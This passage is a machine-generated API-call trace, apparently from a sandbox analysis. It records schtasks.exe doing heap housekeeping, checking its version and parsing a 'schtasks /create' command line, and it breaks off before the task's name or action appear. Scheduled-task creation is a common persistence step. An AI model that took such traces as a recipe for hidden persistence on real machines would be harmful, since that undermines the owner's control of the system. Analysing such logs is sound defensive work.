dwFlags=0x0, lpMem=0x18c2e0 | out: hHeap=0x170000) returned 1 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd10) returned 1 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd10) returned 0x20 [0062.127] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd10 | out: hHeap=0x170000) returned 1 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c370) returned 1 [0062.127] GetProcessHeap () returned 0x170000 [0062.127] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c370) returned 0x12 [0062.128] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c370 | out: hHeap=0x170000) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd40) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd40) returned 0x20 [0062.128] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd40 | out: hHeap=0x170000) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c390) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c390) returned 0x8 [0062.128] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c390 | out: hHeap=0x170000) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd70) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cd70) returned 0x20 [0062.128] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd70 | out: hHeap=0x170000) returned 1 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] GetProcessHeap () returned 0x170000 [0062.128] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3b0) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3b0) returned 0x10 [0062.129] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3b0 | out: hHeap=0x170000) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cda0) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cda0) returned 0x20 [0062.129] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cda0 | out: hHeap=0x170000) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3d0) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3d0) returned 0x8 [0062.129] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3d0 | out: hHeap=0x170000) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdd0) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cdd0) returned 0x20 [0062.129] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cdd0 | out: hHeap=0x170000) returned 1 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] GetProcessHeap () returned 0x170000 [0062.129] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x189480) returned 1 [0062.130] GetProcessHeap () returned 0x170000 [0062.130] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189480) returned 0x3a [0062.130] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189480 | out: hHeap=0x170000) returned 1 [0062.130] GetProcessHeap () returned 0x170000 [0062.130] GetProcessHeap () returned 0x170000 [0062.130] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce00) returned 1 [0062.130] GetProcessHeap () returned 0x170000 [0062.130] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce00) returned 0x20 [0062.130] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce00 | out: hHeap=0x170000) returned 1 [0062.130] GetProcessHeap () returned 0x170000 [0062.130] GetProcessHeap () returned 0x170000 [0062.130] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ddd0) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ddd0) returned 0x8 [0062.131] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ddd0 | out: hHeap=0x170000) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce30) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce30) returned 0x20 [0062.131] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce30 | out: hHeap=0x170000) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d620) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d620) returned 0x10 [0062.131] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d620 | out: hHeap=0x170000) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce60) returned 1 [0062.131] GetProcessHeap () returned 0x170000 [0062.131] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce60) returned 0x20 [0062.132] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce60 | out: hHeap=0x170000) returned 1 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ddf0) returned 1 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ddf0) returned 0x6 [0062.132] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ddf0 | out: hHeap=0x170000) returned 1 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce90) returned 1 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce90) returned 0x20 [0062.132] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce90 | out: hHeap=0x170000) returned 1 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] GetProcessHeap () returned 0x170000 [0062.132] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bab0) returned 1 [0062.132] GetProcessHeap () returned 0x170000 [0062.133] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bab0) returned 0x18 [0062.133] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bab0 | out: hHeap=0x170000) returned 1 [0062.133] SetLastError (dwErrCode=0x0) [0062.133] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0062.133] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0062.133] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0062.133] VerifyVersionInfoW (in: lpVersionInformation=0xfc770, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc770) returned 1 [0062.133] SetLastError (dwErrCode=0x0) [0062.133] lstrlenW (lpString="create") returned 6 [0062.133] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0062.133] SetLastError (dwErrCode=0x490) [0062.133] SetLastError (dwErrCode=0x0) [0062.133] lstrlenW (lpString="create") returned 6 [0062.133] GetProcessHeap () returned 0x170000 [0062.133] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce90 [0062.133] GetProcessHeap () returned 0x170000 [0062.133] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18d620 [0062.134] _memicmp (_Buf1=0x18d620, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.134] GetProcessHeap () returned 0x170000 [0062.134] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d640 [0062.134] SetLastError (dwErrCode=0x0) [0062.134] _memicmp (_Buf1=0x18bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.134] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0062.134] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0062.134] GetProcessHeap () returned 0x170000 [0062.134] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x74e) returned 0x18ddd0 [0062.134] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x18ddd0 | out: lpData=0x18ddd0) returned 1 [0062.135] VerQueryValueW (in: pBlock=0x18ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc858, puLen=0xfc8c0 | out: lplpBuffer=0xfc858*=0x18e16c, puLen=0xfc8c0) returned 1 [0062.135] _memicmp (_Buf1=0x18bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.135] _vsnwprintf (in: _Buffer=0x18bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc838 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0062.135] VerQueryValueW (in: pBlock=0x18ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc8c8, puLen=0xfc8b8 | out: lplpBuffer=0xfc8c8*=0x18df98, puLen=0xfc8b8) returned 1 [0062.135] lstrlenW (lpString="schtasks.exe") returned 12 [0062.135] lstrlenW (lpString="schtasks.exe") returned 12 [0062.135] lstrlenW (lpString=".EXE") returned 4 [0062.135] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0062.135] lstrlenW (lpString="schtasks.exe") returned 12 [0062.135] lstrlenW (lpString=".EXE") returned 4 [0062.135] lstrlenW (lpString="schtasks") returned 8 [0062.135] lstrlenW (lpString="/create") returned 7 [0062.135] _memicmp (_Buf1=0x18bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.135] _vsnwprintf (in: _Buffer=0x18bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc838 | out: _Buffer="schtasks /create") returned 16 [0062.135] _memicmp (_Buf1=0x18bb90, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.135] GetProcessHeap () returned 0x170000 [0062.135] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ce60 [0062.135] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.135] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0062.135] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0062.135] GetProcessHeap () returned 0x170000 [0062.135] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x30) returned 0x187bc0 [0062.135] _vsnwprintf (in: _Buffer=0x18c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc838 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0062.135] GetProcessHeap () returned 0x170000 [0062.135] GetProcessHeap () returned 0x170000 [0062.135] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ddd0) returned 1 [0062.135] GetProcessHeap () returned 0x170000 [0062.135] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ddd0) returned 0x74e [0062.136] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ddd0 | out: hHeap=0x170000) returned 1 [0062.136] SetLastError (dwErrCode=0x0) [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="create") returned 6 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="?") returned 1 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="s") returned 1 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="u") returned 1 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="p") returned 1 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="ru") returned 2 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.136] lstrlenW (lpString="rp") returned 2 [0062.136] GetThreadLocale () returned 0x409 [0062.136] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="sc") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="mo") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="d") returned 1 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="m") returned 1 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="i") returned 1 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="tn") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="tr") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="st") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="sd") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="ed") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="it") returned 2 [0062.137] GetThreadLocale () returned 0x409 [0062.137] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.137] lstrlenW (lpString="et") returned 2 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="k") returned 1 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="du") returned 2 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="ri") returned 2 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="z") returned 1 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="f") returned 1 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="v1") returned 2 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="xml") returned 3 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="ec") returned 2 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="rl") returned 2 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="delay") returned 5 [0062.138] GetThreadLocale () returned 0x409 [0062.138] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.138] lstrlenW (lpString="np") returned 2 [0062.138] SetLastError (dwErrCode=0x0) [0062.139] SetLastError (dwErrCode=0x0) [0062.139] lstrlenW (lpString="/create") returned 7 [0062.139] lstrlenW (lpString="-/") returned 2 [0062.139] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.139] lstrlenW (lpString="create") returned 6 [0062.139] lstrlenW (lpString="create") returned 6 [0062.139] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.139] lstrlenW (lpString="create") returned 6 [0062.139] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.139] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.139] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.139] lstrlenW (lpString="|create|") returned 8 [0062.139] lstrlenW (lpString="|create|") returned 8 [0062.139] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0062.139] SetLastError (dwErrCode=0x0) [0062.139] SetLastError (dwErrCode=0x0) [0062.139] SetLastError (dwErrCode=0x0) [0062.139] lstrlenW (lpString="/tn") returned 3 [0062.139] lstrlenW (lpString="-/") returned 2 [0062.139] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.139] lstrlenW (lpString="create") returned 6 [0062.139] lstrlenW (lpString="create") returned 6 [0062.139] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.139] lstrlenW (lpString="tn") returned 2 [0062.139] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.139] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|create|") returned 8 [0062.139] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.139] lstrlenW (lpString="|create|") returned 8 [0062.139] lstrlenW (lpString="|tn|") returned 4 [0062.139] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0062.139] SetLastError (dwErrCode=0x490) [0062.140] lstrlenW (lpString="?") returned 1 [0062.140] lstrlenW (lpString="?") returned 1 [0062.140] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.140] lstrlenW (lpString="tn") returned 2 [0062.140] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.140] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|?|") returned 3 [0062.140] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.140] lstrlenW (lpString="|?|") returned 3 [0062.140] lstrlenW (lpString="|tn|") returned 4 [0062.140] SetLastError (dwErrCode=0x490) [0062.140] lstrlenW (lpString="s") returned 1 [0062.140] lstrlenW (lpString="s") returned 1 [0062.140] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.140] lstrlenW (lpString="tn") returned 2 [0062.140] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.140] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|s|") returned 3 [0062.140] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.140] lstrlenW (lpString="|s|") returned 3 [0062.140] lstrlenW (lpString="|tn|") returned 4 [0062.140] SetLastError (dwErrCode=0x490) [0062.140] lstrlenW (lpString="u") returned 1 [0062.140] lstrlenW (lpString="u") returned 1 [0062.140] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.140] lstrlenW (lpString="tn") returned 2 [0062.140] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.140] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|u|") returned 3 [0062.140] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.140] lstrlenW (lpString="|u|") returned 3 [0062.141] lstrlenW (lpString="|tn|") returned 4 [0062.141] SetLastError (dwErrCode=0x490) [0062.141] lstrlenW (lpString="p") returned 1 [0062.141] lstrlenW (lpString="p") returned 1 [0062.141] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.141] lstrlenW (lpString="tn") returned 2 [0062.141] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.141] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|p|") returned 3 [0062.141] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.141] lstrlenW (lpString="|p|") returned 3 [0062.141] lstrlenW (lpString="|tn|") returned 4 [0062.141] SetLastError (dwErrCode=0x490) [0062.141] lstrlenW (lpString="ru") returned 2 [0062.141] lstrlenW (lpString="ru") returned 2 [0062.141] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.141] lstrlenW (lpString="tn") returned 2 [0062.141] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.141] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|ru|") returned 4 [0062.141] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.141] lstrlenW (lpString="|ru|") returned 4 [0062.141] lstrlenW (lpString="|tn|") returned 4 [0062.141] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0062.141] SetLastError (dwErrCode=0x490) [0062.141] lstrlenW (lpString="rp") returned 2 [0062.141] lstrlenW (lpString="rp") returned 2 [0062.141] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.141] lstrlenW (lpString="tn") returned 2 [0062.141] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.142] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|rp|") returned 4 [0062.142] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.142] lstrlenW (lpString="|rp|") returned 4 [0062.142] lstrlenW (lpString="|tn|") returned 4 [0062.142] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0062.142] SetLastError (dwErrCode=0x490) [0062.142] lstrlenW (lpString="sc") returned 2 [0062.142] lstrlenW (lpString="sc") returned 2 [0062.142] _memicmp (_Buf1=0x18c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.142] lstrlenW (lpString="tn") returned 2 [0062.142] _memicmp (_Buf1=0x18c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.142] _vsnwprintf (in: _Buffer=0x18c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|sc|") returned 4 [0062.142] _vsnwprintf (in: _Buffer=0x18c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc848 | out: _Buffer="|tn|") returned 4 [0062.142] lstrlenW (lpString="|sc|") returned 4 [0062.142] lstrlenW 